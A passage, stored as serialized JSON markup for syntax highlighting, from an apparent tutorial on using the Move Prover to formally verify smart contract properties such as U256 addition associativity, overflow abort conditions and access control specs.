4",{"type":19,"tag":168,"props":9192,"children":9193},{"style":212},[9194],{"type":24,"value":412},{"type":19,"tag":168,"props":9196,"children":9197},{"class":170,"line":415},[9198],{"type":19,"tag":168,"props":9199,"children":9200},{"emptyLinePlaceholder":14},[9201],{"type":24,"value":1093},{"type":19,"tag":168,"props":9203,"children":9204},{"class":170,"line":450},[9205,9209,9213],{"type":19,"tag":168,"props":9206,"children":9207},{"style":212},[9208],{"type":24,"value":1152},{"type":19,"tag":168,"props":9210,"children":9211},{"style":399},[9212],{"type":24,"value":7032},{"type":19,"tag":168,"props":9214,"children":9215},{"style":212},[9216],{"type":24,"value":9217},"]\n",{"type":19,"tag":168,"props":9219,"children":9220},{"class":170,"line":560},[9221],{"type":19,"tag":168,"props":9222,"children":9223},{"emptyLinePlaceholder":14},[9224],{"type":24,"value":1093},{"type":19,"tag":168,"props":9226,"children":9227},{"class":170,"line":666},[9228,9233,9237,9241,9245],{"type":19,"tag":168,"props":9229,"children":9230},{"style":382},[9231],{"type":24,"value":9232},"let",{"type":19,"tag":168,"props":9234,"children":9235},{"style":393},[9236],{"type":24,"value":804},{"type":19,"tag":168,"props":9238,"children":9239},{"style":399},[9240],{"type":24,"value":402},{"type":19,"tag":168,"props":9242,"children":9243},{"style":192},[9244],{"type":24,"value":437},{"type":19,"tag":168,"props":9246,"children":9247},{"style":212},[9248],{"type":24,"value":412},{"type":19,"tag":168,"props":9250,"children":9251},{"class":170,"line":694},[9252,9256,9260,9264,9268],{"type":19,"tag":168,"props":9253,"children":9254},{"style":419},[9255],{"type":24,"value":8906},{"type":19,"tag":168,"props":9257,"children":9258},{"style":212},[9259],{"type":24,"value":461},{"type":19,"tag":168,"props":9261,"children":9262},{"style":393},[9263],{"type":24,"value":1157},{"type":19,"tag":168,"props":9265,"children":9266},{"style":399},[9267],{"type":24,"value":6157},{"type":19,"tag":168,"props":9269,"children":9270},{"style":212},[9271],{"type":24,"value":9272}," WORDS) {\n",{"type":19,"tag":168,"props":9274,"children":9275},{"class":170,"line":707},[9276,9280,9285,9289,9294,9298,9302,9306,9310,9314],{"type":19,"tag":168,"props":9277,"children":9278},{"style":382},[9279],{"type":24,"value":385},{"type":19,"tag":168,"props":9281,"children":9282},{"style":393},[9283],{"type":24,"value":9284}," a1",{"type":19,"tag":168,"props":9286,"children":9287},{"style":399},[9288],{"type":24,"value":402},{"type":19,"tag":168,"props":9290,"children":9291},{"style":175},[9292],{"type":24,"value":9293}," get",{"type":19,"tag":168,"props":9295,"children":9296},{"style":212},[9297],{"type":24,"value":500},{"type":19,"tag":168,"props":9299,"children":9300},{"style":399},[9301],{"type":24,"value":505},{"type":19,"tag":168,"props":9303,"children":9304},{"style":393},[9305],{"type":24,"value":269},{"type":19,"tag":168,"props":9307,"children":9308},{"style":212},[9309],{"type":24,"value":471},{"type":19,"tag":168,"props":9311,"children":9312},{"style":393},[9313],{"type":24,"value":1157},{"type":19,"tag":168,"props":9315,"children":9316},{"style":212},[9317],{"type":24,"value":1249},{"type":19,"tag":168,"props":9319,"children":9320},{"class":170,"line":725},[9321,9325,9330,9334,9338,9342,9346,9350,9354,9358],{"type":19,"tag":168,"props":9322,"children":9323},{"style":382},[9324],{"type":24,"value":385},{"type":19,"tag":168,"props":9326,"children":9327},{"style":393},[9328],{"type":24,"value":9329}," b1",{"type":19,"tag":168,"props":9331,"children":9332},{"style":399},[9333],{"type":24,"value":402},{"type":19,"tag":168,"props":9335,"children":9336},{"style":175},[9337],{"type":24,"value":9293},{"type":19,"tag":168,"props":9339,"children":9340},{"style":212},[9341],{"type":24,"value":500},{"type":19,"tag":168,"props":9343,"children":9344},{"style":399},[9345],{"type":24,"value":505},{"type":19,"tag":168,"props":9347,"children":9348},{"style":393},[9349],{"type":24,"value":621},{"type":19,"tag":168,"props":9351,"children":9352},{"style":212},[9353],{"type":24,"value":471},{"type":19,"tag":168,"props":9355,"children":9356},{"style":393},[9357],{"type":24,"value":1157},{"type":19,"tag":168,"props":9359,"children":9360},{"style":212},[9361],{"type":24,"value":1249},{"type":19,"tag":168,"props":9363,"children":9364},{"class":170,"line":746},[9365],{"type":19,"tag":168,"props":9366,"children":9367},{"emptyLinePlaceholder":14},[9368],{"type":24,"value":1093},{"type":19,"tag":168,"props":9370,"children":9371},{"class":170,"line":755},[9372,9376,9380],{"type":19,"tag":168,"props":9373,"children":9374},{"style":212},[9375],{"type":24,"value":1152},{"type":19,"tag":168,"props":9377,"children":9378},{"style":399},[9379],{"type":24,"value":7032},{"type":19,"tag":168,"props":9381,"children":9382},{"style":212},[9383],{"type":24,"value":9217},{"type":19,"tag":20,"props":9385,"children":9386},{},[9387],{"type":24,"value":9388},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":19,"tag":158,"props":9390,"children":9392},{"code":9391},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[9393],{"type":19,"tag":27,"props":9394,"children":9395},{"__ignoreMap":7},[9396],{"type":24,"value":9391},{"type":19,"tag":20,"props":9398,"children":9399},{},[9400,9402,9407,9408,9414],{"type":24,"value":9401},"For the ",{"type":19,"tag":51,"props":9403,"children":9404},{},[9405],{"type":24,"value":9406},"Associative Property",{"type":24,"value":461},{"type":19,"tag":27,"props":9409,"children":9411},{"className":9410},[],[9412],{"type":24,"value":9413},"a+(b+c) = (a+b)+c",{"type":24,"value":9415},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":19,"tag":158,"props":9417,"children":9419},{"code":9418,"language":362,"meta":7,"className":363,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[9420],{"type":19,"tag":27,"props":9421,"children":9422},{"__ignoreMap":7},[9423,9500,9539,9580,9619,9660,9667,9717,9757],{"type":19,"tag":168,"props":9424,"children":9425},{"class":170,"line":171},[9426,9430,9435,9439,9443,9447,9451,9455,9459,9463,9467,9471,9475,9479,9483,9487,9491,9496],{"type":19,"tag":168,"props":9427,"children":9428},{"style":393},[9429],{"type":24,"value":4543},{"type":19,"tag":168,"props":9431,"children":9432},{"style":175},[9433],{"type":24,"value":9434}," add_assoc_property",{"type":19,"tag":168,"props":9436,"children":9437},{"style":212},[9438],{"type":24,"value":500},{"type":19,"tag":168,"props":9440,"children":9441},{"style":393},[9442],{"type":24,"value":269},{"type":19,"tag":168,"props":9444,"children":9445},{"style":399},[9446],{"type":24,"value":1922},{"type":19,"tag":168,"props":9448,"children":9449},{"style":825},[9450],{"type":24,"value":2162},{"type":19,"tag":168,"props":9452,"children":9453},{"style":212},[9454],{"type":24,"value":471},{"type":19,"tag":168,"props":9456,"children":9457},{"style":393},[9458],{"type":24,"value":621},{"type":19,"tag":168,"props":9460,"children":9461},{"style":399},[9462],{"type":24,"value":1922},{"type":19,"tag":168,"props":9464,"children":9465},{"style":825},[9466],{"type":24,"value":2162},{"type":19,"tag":168,"props":9468,"children":9469},{"style":212},[9470],{"type":24,"value":471},{"type":19,"tag":168,"props":9472,"children":9473},{"style":393},[9474],{"type":24,"value":543},{"type":19,"tag":168,"props":9476,"children":9477},{"style":399},[9478],{"type":24,"value":1922},{"type":19,"tag":168,"props":9480,"children":9481},{"style":825},[9482],{"type":24,"value":2162},{"type":19,"tag":168,"props":9484,"children":9485},{"style":212},[9486],{"type":24,"value":524},{"type":19,"tag":168,"props":9488,"children":9489},{"style":399},[9490],{"type":24,"value":1922},{"type":19,"tag":168,"props":9492,"children":9493},{"style":825},[9494],{"type":24,"value":9495}," bool",{"type":19,"tag":168,"props":9497,"children":9498},{"style":212},[9499],{"type":24,"value":691},{"type":19,"tag":168,"props":9501,"children":9502},{"class":170,"line":198},[9503,9507,9511,9515,9519,9523,9527,9531,9535],{"type":19,"tag":168,"props":9504,"children":9505},{"style":382},[9506],{"type":24,"value":385},{"type":19,"tag":168,"props":9508,"children":9509},{"style":393},[9510],{"type":24,"value":5629},{"type":19,"tag":168,"props":9512,"children":9513},{"style":399},[9514],{"type":24,"value":402},{"type":19,"tag":168,"props":9516,"children":9517},{"style":175},[9518],{"type":24,"value":7022},{"type":19,"tag":168,"props":9520,"children":9521},{"style":212},[9522],{"type":24,"value":500},{"type":19,"tag":168,"props":9524,"children":9525},{"style":393},[9526],{"type":24,"value":621},{"type":19,"tag":168,"props":9528,"children":9529},{"style":212},[9530],{"type":24,"value":471},{"type":19,"tag":168,"props":9532,"children":9533},{"style":393},[9534],{"type":24,"value":543},{"type":19,"tag":168,"props":9536,"children":9537},{"style":212},[9538],{"type":24,"value":1249},{"type":19,"tag":168,"props":9540,"children":9541},{"class":170,"line":415},[9542,9546,9551,9555,9559,9563,9567,9571,9576],{"type":19,"tag":168,"props":9543,"children":9544},{"style":382},[9545],{"type":24,"value":385},{"type":19,"tag":168,"props":9547,"children":9548},{"style":393},[9549],{"type":24,"value":9550}," result_11",{"type":19,"tag":168,"props":9552,"children":9553},{"style":399},[9554],{"type":24,"value":402},{"type":19,"tag":168,"props":9556,"children":9557},{"style":175},[9558],{"type":24,"value":7022},{"type":19,"tag":168,"props":9560,"children":9561},{"style":212},[9562],{"type":24,"value":500},{"type":19,"tag":168,"props":9564,"children":9565},{"style":393},[9566],{"type":24,"value":269},{"type":19,"tag":168,"props":9568,"children":9569},{"style":212},[9570],{"type":24,"value":471},{"type":19,"tag":168,"props":9572,"children":9573},{"style":393},[9574],{"type":24,"value":9575},"result_1",{"type":19,"tag":168,"props":9577,"children":9578},{"style":212},[9579],{"type":24,"value":1249},{"type":19,"tag":168,"props":9581,"children":9582},{"class":170,"line":450},[9583,9587,9591,9595,9599,9603,9607,9611,9615],{"type":19,"tag":168,"props":9584,"children":9585},{"style":382},[9586],{"type":24,"value":385},{"type":19,"tag":168,"props":9588,"children":9589},{"style":393},[9590],{"type":24,"value":5655},{"type":19,"tag":168,"props":9592,"children":9593},{"style":399},[9594],{"type":24,"value":402},{"type":19,"tag":168,"props":9596,"children":9597},{"style":175},[9598],{"type":24,"value":7022},{"type":19,"tag":168,"props":9600,"children":9601},{"style":212},[9602],{"type":24,"value":500},{"type":19,"tag":168,"props":9604,"children":9605},{"style":393},[9606],{"type":24,"value":269},{"type":19,"tag":168,"props":9608,"children":9609},{"style":212},[9610],{"type":24,"value":471},{"type":19,"tag":168,"props":9612,"children":9613},{"style":393},[9614],{"type":24,"value":621},{"type":19,"tag":168,"props":9616,"children":9617},{"style":212},[9618],{"type":24,"value":1249},{"type":19,"tag":168,"props":9620,"children":9621},{"class":170,"line":560},[9622,9626,9631,9635,9639,9643,9647,9651,9656],{"type":19,"tag":168,"props":9623,"children":9624},{"style":382},[9625],{"type":24,"value":385},{"type":19,"tag":168,"props":9627,"children":9628},{"style":393},[9629],{"type":24,"value":9630}," result_22",{"type":19,"tag":168,"props":9632,"children":9633},{"style":399},[9634],{"type":24,"value":402},{"type":19,"tag":168,"props":9636,"children":9637},{"style":175},[9638],{"type":24,"value":7022},{"type":19,"tag":168,"props":9640,"children":9641},{"style":212},[9642],{"type":24,"value":500},{"type":19,"tag":168,"props":9644,"children":9645},{"style":393},[9646],{"type":24,"value":543},{"type":19,"tag":168,"props":9648,"children":9649},{"style":212},[9650],{"type":24,"value":471},{"type":19,"tag":168,"props":9652,"children":9653},{"style":393},[9654],{"type":24,"value":9655},"result_2",{"type":19,"tag":168,"props":9657,"children":9658},{"style":212},[9659],{"type":24,"value":1249},{"type":19,"tag":168,"props":9661,"children":9662},{"class":170,"line":666},[9663],{"type":19,"tag":168,"props":9664,"children":9665},{"emptyLinePlaceholder":14},[9666],{"type":24,"value":1093},{"type":19,"tag":168,"props":9668,"children":9669},{"class":170,"line":694},[9670,9674,9678,9682,9687,9691,9695,9700,9704,9708,9713],{"type":19,"tag":168,"props":9671,"children":9672},{"style":382},[9673],{"type":24,"value":385},{"type":19,"tag":168,"props":9675,"children":9676},{"style":393},[9677],{"type":24,"value":5297},{"type":19,"tag":168,"props":9679,"children":9680},{"style":399},[9681],{"type":24,"value":402},{"type":19,"tag":168,"props":9683,"children":9684},{"style":175},[9685],{"type":24,"value":9686}," compare",{"type":19,"tag":168,"props":9688,"children":9689},{"style":212},[9690],{"type":24,"value":500},{"type":19,"tag":168,"props":9692,"children":9693},{"style":399},[9694],{"type":24,"value":505},{"type":19,"tag":168,"props":9696,"children":9697},{"style":393},[9698],{"type":24,"value":9699},"result_11",{"type":19,"tag":168,"props":9701,"children":9702},{"style":212},[9703],{"type":24,"value":471},{"type":19,"tag":168,"props":9705,"children":9706},{"style":399},[9707],{"type":24,"value":505},{"type":19,"tag":168,"props":9709,"children":9710},{"style":393},[9711],{"type":24,"value":9712},"result_22",{"type":19,"tag":168,"props":9714,"children":9715},{"style":212},[9716],{"type":24,"value":1249},{"type":19,"tag":168,"props":9718,"children":9719},{"class":170,"line":707},[9720,9725,9730,9734,9738,9743,9747,9752],{"type":19,"tag":168,"props":9721,"children":9722},{"style":419},[9723],{"type":24,"value":9724}," if",{"type":19,"tag":168,"props":9726,"children":9727},{"style":212},[9728],{"type":24,"value":9729}," ( ",{"type":19,"tag":168,"props":9731,"children":9732},{"style":393},[9733],{"type":24,"value":5362},{"type":19,"tag":168,"props":9735,"children":9736},{"style":399},[9737],{"type":24,"value":682},{"type":19,"tag":168,"props":9739,"children":9740},{"style":212},[9741],{"type":24,"value":9742}," EQUAL ) ",{"type":19,"tag":168,"props":9744,"children":9745},{"style":382},[9746],{"type":24,"value":1423},{"type":19,"tag":168,"props":9748,"children":9749},{"style":419},[9750],{"type":24,"value":9751}," else",{"type":19,"tag":168,"props":9753,"children":9754},{"style":382},[9755],{"type":24,"value":9756}," false\n",{"type":19,"tag":168,"props":9758,"children":9759},{"class":170,"line":725},[9760],{"type":19,"tag":168,"props":9761,"children":9762},{"style":212},[9763],{"type":24,"value":1326},{"type":19,"tag":20,"props":9765,"children":9766},{},[9767],{"type":24,"value":9768},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":19,"tag":158,"props":9770,"children":9772},{"code":9771,"language":362,"meta":7,"className":363,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[9773],{"type":19,"tag":27,"props":9774,"children":9775},{"__ignoreMap":7},[9776,9791,9895,9919],{"type":19,"tag":168,"props":9777,"children":9778},{"class":170,"line":171},[9779,9783,9787],{"type":19,"tag":168,"props":9780,"children":9781},{"style":393},[9782],{"type":24,"value":5712},{"type":19,"tag":168,"props":9784,"children":9785},{"style":393},[9786],{"type":24,"value":9434},{"type":19,"tag":168,"props":9788,"children":9789},{"style":212},[9790],{"type":24,"value":691},{"type":19,"tag":168,"props":9792,"children":9793},{"class":170,"line":198},[9794,9798,9802,9807,9811,9815,9819,9823,9827,9831,9835,9839,9843,9847,9851,9855,9859,9863,9867,9871,9875,9879,9883,9887,9891],{"type":19,"tag":168,"props":9795,"children":9796},{"style":393},[9797],{"type":24,"value":7345},{"type":19,"tag":168,"props":9799,"children":9800},{"style":212},[9801],{"type":24,"value":461},{"type":19,"tag":168,"props":9803,"children":9804},{"style":175},[9805],{"type":24,"value":9806},"value_of_U256",{"type":19,"tag":168,"props":9808,"children":9809},{"style":212},[9810],{"type":24,"value":500},{"type":19,"tag":168,"props":9812,"children":9813},{"style":393},[9814],{"type":24,"value":269},{"type":19,"tag":168,"props":9816,"children":9817},{"style":212},[9818],{"type":24,"value":481},{"type":19,"tag":168,"props":9820,"children":9821},{"style":399},[9822],{"type":24,"value":1811},{"type":19,"tag":168,"props":9824,"children":9825},{"style":175},[9826],{"type":24,"value":7146},{"type":19,"tag":168,"props":9828,"children":9829},{"style":212},[9830],{"type":24,"value":500},{"type":19,"tag":168,"props":9832,"children":9833},{"style":393},[9834],{"type":24,"value":621},{"type":19,"tag":168,"props":9836,"children":9837},{"style":212},[9838],{"type":24,"value":6275},{"type":19,"tag":168,"props":9840,"children":9841},{"style":399},[9842],{"type":24,"value":1811},{"type":19,"tag":168,"props":9844,"children":9845},{"style":175},[9846],{"type":24,"value":7146},{"type":19,"tag":168,"props":9848,"children":9849},{"style":212},[9850],{"type":24,"value":500},{"type":19,"tag":168,"props":9852,"children":9853},{"style":393},[9854],{"type":24,"value":543},{"type":19,"tag":168,"props":9856,"children":9857},{"style":212},[9858],{"type":24,"value":481},{"type":19,"tag":168,"props":9860,"children":9861},{"style":399},[9862],{"type":24,"value":7386},{"type":19,"tag":168,"props":9864,"children":9865},{"style":825},[9866],{"type":24,"value":7102},{"type":19,"tag":168,"props":9868,"children":9869},{"style":399},[9870],{"type":24,"value":7259},{"type":19,"tag":168,"props":9872,"children":9873},{"style":825},[9874],{"type":24,"value":7102},{"type":19,"tag":168,"props":9876,"children":9877},{"style":399},[9878],{"type":24,"value":7259},{"type":19,"tag":168,"props":9880,"children":9881},{"style":825},[9882],{"type":24,"value":7102},{"type":19,"tag":168,"props":9884,"children":9885},{"style":399},[9886],{"type":24,"value":7259},{"type":19,"tag":168,"props":9888,"children":9889},{"style":825},[9890],{"type":24,"value":7102},{"type":19,"tag":168,"props":9892,"children":9893},{"style":212},[9894],{"type":24,"value":412},{"type":19,"tag":168,"props":9896,"children":9897},{"class":170,"line":415},[9898,9902,9906,9910,9915],{"type":19,"tag":168,"props":9899,"children":9900},{"style":393},[9901],{"type":24,"value":7643},{"type":19,"tag":168,"props":9903,"children":9904},{"style":393},[9905],{"type":24,"value":6600},{"type":19,"tag":168,"props":9907,"children":9908},{"style":399},[9909],{"type":24,"value":682},{"type":19,"tag":168,"props":9911,"children":9912},{"style":382},[9913],{"type":24,"value":9914}," true",{"type":19,"tag":168,"props":9916,"children":9917},{"style":212},[9918],{"type":24,"value":412},{"type":19,"tag":168,"props":9920,"children":9921},{"class":170,"line":450},[9922],{"type":19,"tag":168,"props":9923,"children":9924},{"style":212},[9925],{"type":24,"value":1326},{"type":19,"tag":20,"props":9927,"children":9928},{},[9929],{"type":24,"value":9930},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":19,"tag":158,"props":9932,"children":9933},{"code":9391},[9934],{"type":19,"tag":27,"props":9935,"children":9936},{"__ignoreMap":7},[9937],{"type":24,"value":9391},{"type":19,"tag":20,"props":9939,"children":9940},{},[9941,9943,9950],{"type":24,"value":9942},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":19,"tag":269,"props":9944,"children":9947},{"href":9945,"rel":9946},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[273],[9948],{"type":24,"value":9949},"spec-lang.md",{"type":24,"value":9951}," in the Move Repository.",{"type":19,"tag":36,"props":9953,"children":9955},{"id":9954},"use-cases",[9956],{"type":24,"value":9957},"Use Cases",{"type":19,"tag":20,"props":9959,"children":9960},{},[9961],{"type":24,"value":9962},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":19,"tag":20,"props":9964,"children":9965},{},[9966],{"type":24,"value":9967},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":19,"tag":7050,"props":9969,"children":9971},{"id":9970},"error-conditions",[9972],{"type":24,"value":9973},"Error Conditions",{"type":19,"tag":20,"props":9975,"children":9976},{},[9977,9979,9985],{"type":24,"value":9978},"Taking an example from ",{"type":19,"tag":27,"props":9980,"children":9982},{"className":9981},[],[9983],{"type":24,"value":9984},"std::fixed_point32",{"type":24,"value":9986},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":19,"tag":158,"props":9988,"children":9990},{"code":9989,"language":362,"meta":7,"className":363,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[9991],{"type":19,"tag":27,"props":9992,"children":9993},{"__ignoreMap":7},[9994,10015,10035,10056,10102,10110,10173,10212],{"type":19,"tag":168,"props":9995,"children":9996},{"class":170,"line":171},[9997,10001,10006,10011],{"type":19,"tag":168,"props":9998,"children":9999},{"style":393},[10000],{"type":24,"value":6367},{"type":19,"tag":168,"props":10002,"children":10003},{"style":393},[10004],{"type":24,"value":10005}," schema",{"type":19,"tag":168,"props":10007,"children":10008},{"style":825},[10009],{"type":24,"value":10010}," MultiplyAbortsIf",{"type":19,"tag":168,"props":10012,"children":10013},{"style":212},[10014],{"type":24,"value":691},{"type":19,"tag":168,"props":10016,"children":10017},{"class":170,"line":198},[10018,10023,10027,10031],{"type":19,"tag":168,"props":10019,"children":10020},{"style":393},[10021],{"type":24,"value":10022}," val",{"type":19,"tag":168,"props":10024,"children":10025},{"style":399},[10026],{"type":24,"value":1922},{"type":19,"tag":168,"props":10028,"children":10029},{"style":393},[10030],{"type":24,"value":7175},{"type":19,"tag":168,"props":10032,"children":10033},{"style":212},[10034],{"type":24,"value":412},{"type":19,"tag":168,"props":10036,"children":10037},{"class":170,"line":415},[10038,10043,10047,10052],{"type":19,"tag":168,"props":10039,"children":10040},{"style":393},[10041],{"type":24,"value":10042}," multiplier",{"type":19,"tag":168,"props":10044,"children":10045},{"style":399},[10046],{"type":24,"value":1922},{"type":19,"tag":168,"props":10048,"children":10049},{"style":825},[10050],{"type":24,"value":10051}," FixedPoint32",{"type":19,"tag":168,"props":10053,"children":10054},{"style":212},[10055],{"type":24,"value":412},{"type":19,"tag":168,"props":10057,"children":10058},{"class":170,"line":450},[10059,10064,10069,10073,10078,10082,10087,10092,10097],{"type":19,"tag":168,"props":10060,"children":10061},{"style":393},[10062],{"type":24,"value":10063}," aborts_if",{"type":19,"tag":168,"props":10065,"children":10066},{"style":175},[10067],{"type":24,"value":10068}," spec_multiply_u64",{"type":19,"tag":168,"props":10070,"children":10071},{"style":212},[10072],{"type":24,"value":500},{"type":19,"tag":168,"props":10074,"children":10075},{"style":393},[10076],{"type":24,"value":10077},"val",{"type":19,"tag":168,"props":10079,"children":10080},{"style":212},[10081],{"type":24,"value":471},{"type":19,"tag":168,"props":10083,"children":10084},{"style":393},[10085],{"type":24,"value":10086},"multiplier",{"type":19,"tag":168,"props":10088,"children":10089},{"style":212},[10090],{"type":24,"value":10091},") > MAX_U64 ",{"type":19,"tag":168,"props":10093,"children":10094},{"style":393},[10095],{"type":24,"value":10096},"with",{"type":19,"tag":168,"props":10098,"children":10099},{"style":212},[10100],{"type":24,"value":10101}," EMULTIPLICATION;\n",{"type":19,"tag":168,"props":10103,"children":10104},{"class":170,"line":560},[10105],{"type":19,"tag":168,"props":10106,"children":10107},{"style":212},[10108],{"type":24,"value":10109}," }\n",{"type":19,"tag":168,"props":10111,"children":10112},{"class":170,"line":666},[10113,10117,10121,10125,10129,10133,10137,10141,10145,10149,10153,10157,10161,10165,10169],{"type":19,"tag":168,"props":10114,"children":10115},{"style":393},[10116],{"type":24,"value":6367},{"type":19,"tag":168,"props":10118,"children":10119},{"style":393},[10120],{"type":24,"value":3642},{"type":19,"tag":168,"props":10122,"children":10123},{"style":175},[10124],{"type":24,"value":10068},{"type":19,"tag":168,"props":10126,"children":10127},{"style":212},[10128],{"type":24,"value":500},{"type":19,"tag":168,"props":10130,"children":10131},{"style":393},[10132],{"type":24,"value":10077},{"type":19,"tag":168,"props":10134,"children":10135},{"style":399},[10136],{"type":24,"value":1922},{"type":19,"tag":168,"props":10138,"children":10139},{"style":393},[10140],{"type":24,"value":7175},{"type":19,"tag":168,"props":10142,"children":10143},{"style":212},[10144],{"type":24,"value":471},{"type":19,"tag":168,"props":10146,"children":10147},{"style":393},[10148],{"type":24,"value":10086},{"type":19,"tag":168,"props":10150,"children":10151},{"style":399},[10152],{"type":24,"value":1922},{"type":19,"tag":168,"props":10154,"children":10155},{"style":825},[10156],{"type":24,"value":10051},{"type":19,"tag":168,"props":10158,"children":10159},{"style":212},[10160],{"type":24,"value":524},{"type":19,"tag":168,"props":10162,"children":10163},{"style":399},[10164],{"type":24,"value":1922},{"type":19,"tag":168,"props":10166,"children":10167},{"style":393},[10168],{"type":24,"value":7175},{"type":19,"tag":168,"props":10170,"children":10171},{"style":212},[10172],{"type":24,"value":691},{"type":19,"tag":168,"props":10174,"children":10175},{"class":170,"line":694},[10176,10180,10184,10188,10193,10197,10202,10207],{"type":19,"tag":168,"props":10177,"children":10178},{"style":212},[10179],{"type":24,"value":6148},{"type":19,"tag":168,"props":10181,"children":10182},{"style":393},[10183],{"type":24,"value":10077},{"type":19,"tag":168,"props":10185,"children":10186},{"style":399},[10187],{"type":24,"value":7259},{"type":19,"tag":168,"props":10189,"children":10190},{"style":393},[10191],{"type":24,"value":10192}," multiplier",{"type":19,"tag":168,"props":10194,"children":10195},{"style":399},[10196],{"type":24,"value":948},{"type":19,"tag":168,"props":10198,"children":10199},{"style":212},[10200],{"type":24,"value":10201},"value) ",{"type":19,"tag":168,"props":10203,"children":10204},{"style":399},[10205],{"type":24,"value":10206},">>",{"type":19,"tag":168,"props":10208,"children":10209},{"style":192},[10210],{"type":24,"value":10211}," 32\n",{"type":19,"tag":168,"props":10213,"children":10214},{"class":170,"line":707},[10215],{"type":19,"tag":168,"props":10216,"children":10217},{"style":212},[10218],{"type":24,"value":10109},{"type":19,"tag":7050,"props":10220,"children":10222},{"id":10221},"access-control-policies",[10223],{"type":24,"value":10224},"Access Control Policies",{"type":19,"tag":20,"props":10226,"children":10227},{},[10228],{"type":24,"value":10229},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":19,"tag":20,"props":10231,"children":10232},{},[10233,10235,10241,10243,10248],{"type":24,"value":10234},"For example, in ",{"type":19,"tag":27,"props":10236,"children":10238},{"className":10237},[],[10239],{"type":24,"value":10240},"std::offer",{"type":24,"value":10242}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":19,"tag":293,"props":10244,"children":10245},{},[10246],{"type":24,"value":10247},"or",{"type":24,"value":10249}," the recipient is now allowed.",{"type":19,"tag":158,"props":10251,"children":10253},{"code":10252,"language":362,"meta":7,"className":363,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[10254],{"type":19,"tag":27,"props":10255,"children":10256},{"__ignoreMap":7},[10257,10274,10282,10290,10298,10345,10403,10446,10512],{"type":19,"tag":168,"props":10258,"children":10259},{"class":170,"line":171},[10260,10265,10270],{"type":19,"tag":168,"props":10261,"children":10262},{"style":393},[10263],{"type":24,"value":10264}," spec",{"type":19,"tag":168,"props":10266,"children":10267},{"style":393},[10268],{"type":24,"value":10269}," redeem",{"type":19,"tag":168,"props":10271,"children":10272},{"style":212},[10273],{"type":24,"value":691},{"type":19,"tag":168,"props":10275,"children":10276},{"class":170,"line":198},[10277],{"type":19,"tag":168,"props":10278,"children":10279},{"style":373},[10280],{"type":24,"value":10281}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":19,"tag":168,"props":10283,"children":10284},{"class":170,"line":415},[10285],{"type":19,"tag":168,"props":10286,"children":10287},{"style":373},[10288],{"type":24,"value":10289}," /// cannot redeem the offer.\n",{"type":19,"tag":168,"props":10291,"children":10292},{"class":170,"line":450},[10293],{"type":19,"tag":168,"props":10294,"children":10295},{"style":373},[10296],{"type":24,"value":10297}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":19,"tag":168,"props":10299,"children":10300},{"class":170,"line":560},[10301,10305,10310,10314,10318,10323,10327,10332,10336,10341],{"type":19,"tag":168,"props":10302,"children":10303},{"style":393},[10304],{"type":24,"value":6492},{"type":19,"tag":168,"props":10306,"children":10307},{"style":399},[10308],{"type":24,"value":10309}," !",{"type":19,"tag":168,"props":10311,"children":10312},{"style":393},[10313],{"type":24,"value":4140},{"type":19,"tag":168,"props":10315,"children":10316},{"style":212},[10317],{"type":24,"value":3240},{"type":19,"tag":168,"props":10319,"children":10320},{"style":825},[10321],{"type":24,"value":10322},"Offer",{"type":19,"tag":168,"props":10324,"children":10325},{"style":212},[10326],{"type":24,"value":3240},{"type":19,"tag":168,"props":10328,"children":10329},{"style":825},[10330],{"type":24,"value":10331},"Offered",{"type":19,"tag":168,"props":10333,"children":10334},{"style":212},[10335],{"type":24,"value":4162},{"type":19,"tag":168,"props":10337,"children":10338},{"style":393},[10339],{"type":24,"value":10340},"offer_address",{"type":19,"tag":168,"props":10342,"children":10343},{"style":212},[10344],{"type":24,"value":1249},{"type":19,"tag":168,"props":10346,"children":10347},{"class":170,"line":666},[10348,10352,10356,10361,10365,10369,10373,10377,10382,10386,10390,10394,10399],{"type":19,"tag":168,"props":10349,"children":10350},{"style":393},[10351],{"type":24,"value":6492},{"type":19,"tag":168,"props":10353,"children":10354},{"style":399},[10355],{"type":24,"value":10309},{"type":19,"tag":168,"props":10357,"children":10358},{"style":393},[10359],{"type":24,"value":10360},"is_allowed_recipient",{"type":19,"tag":168,"props":10362,"children":10363},{"style":212},[10364],{"type":24,"value":3240},{"type":19,"tag":168,"props":10366,"children":10367},{"style":825},[10368],{"type":24,"value":10331},{"type":19,"tag":168,"props":10370,"children":10371},{"style":212},[10372],{"type":24,"value":5047},{"type":19,"tag"